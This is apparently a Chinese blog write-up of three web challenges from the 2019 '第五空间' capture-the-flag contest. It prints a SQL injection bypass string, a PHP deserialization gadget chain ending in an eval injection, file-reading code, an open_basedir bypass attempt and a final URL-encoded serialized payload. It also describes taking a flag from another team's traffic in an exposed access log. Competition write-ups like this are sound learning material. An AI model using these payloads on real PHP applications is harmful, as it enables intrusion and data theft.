2019 第五空间
空相
一道签到题,提示参数是id 尝试?id=1为禁止进入2为text
?id=1’ or 1=1 绕过
给出flag的php文件,提交token得到flag
八苦
(三道web题中唯一正常一点的)
(环境关了,早上做出来的题,记不太清了,记错了也,,2333333)
进入靶机,发现只有一个welcome,啥也没有。各种备份泄露试一波,最后发现是phps
然后得到源码(user类当时觉得没用就删了)
1 | rror_reporting(0); |
然后根据提示,先去看phpinfo
构造序列化
O:4:”Test”:2:{s:10:” * careful”;i:1;s:8:”securuty”;a:1:{s:9:”say_hello”;s:1:”1”;}}
因为protected的关系,好像中间有截断,所以urlencode,
然后传给foo,得到phpinfo
ctrl f 搜索.php 得到一个 preload.php(具体啥名字忘记了)
然后得到源码
1 | class Welcome{ |
类似于强网杯upload
姿势:
生成Welcome_again 类,
willing 赋值 1,action 赋值 new Test(),Test 中 赋值securuty 以键值对 ‘say_hello’=> 1
利用链:
首先生成Welcome_again 类,调用__construct()方法赋值action
然后调用__destruct()方法,(此时$this->willing=1)
因为action = new Test()
所以调用 Test.say_hello()
但是Test没有该方法,所以调用__call()方法
然后 if($this->{$param1})
又没有改属性,所以调用__get()方法
返回1(我们之前构造的键值对中的值)
然后通过判断,
1 | eval('$a='.$_GET['dangerous'].';'); |
这里利用 ; 截断,
使得eval执行不止一个函数
然后翻出之前收藏的读文件一把梭,
1 | 1;$fp = fopen("./index.php","r");$str = fread($fp,filesize("./index.php"));echo $str = str_replace("\r\n","<br />",$str); |
(忘记当时用的哪个了)
发现成功
然后去读flag
发现失败,
要bypass open_basedir
参考wp
https://blog.csdn.net/systemino/article/details/94645518中的
尝试构造:
1 | chdir('/tmp'); |
得到flag
最终payload:
1 | foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D |
六尘
非预期解
wwwscan扫描到存在log,
访问http://111.33.164.6:10005/log/access.log
搜索flag发现
似乎是别的解出题目的队伍去拿flag时留下来的流量?(白嫖一手)
进去加上token即可得到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com
文章标题:2019 第五空间
文章字数:728
本文作者:Van1sh
发布时间:2019-08-29, 12:18:35
最后更新:2020-05-24, 18:33:00
原始链接:http://jayxv.github.io/2019/08/29/2019第五空间/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。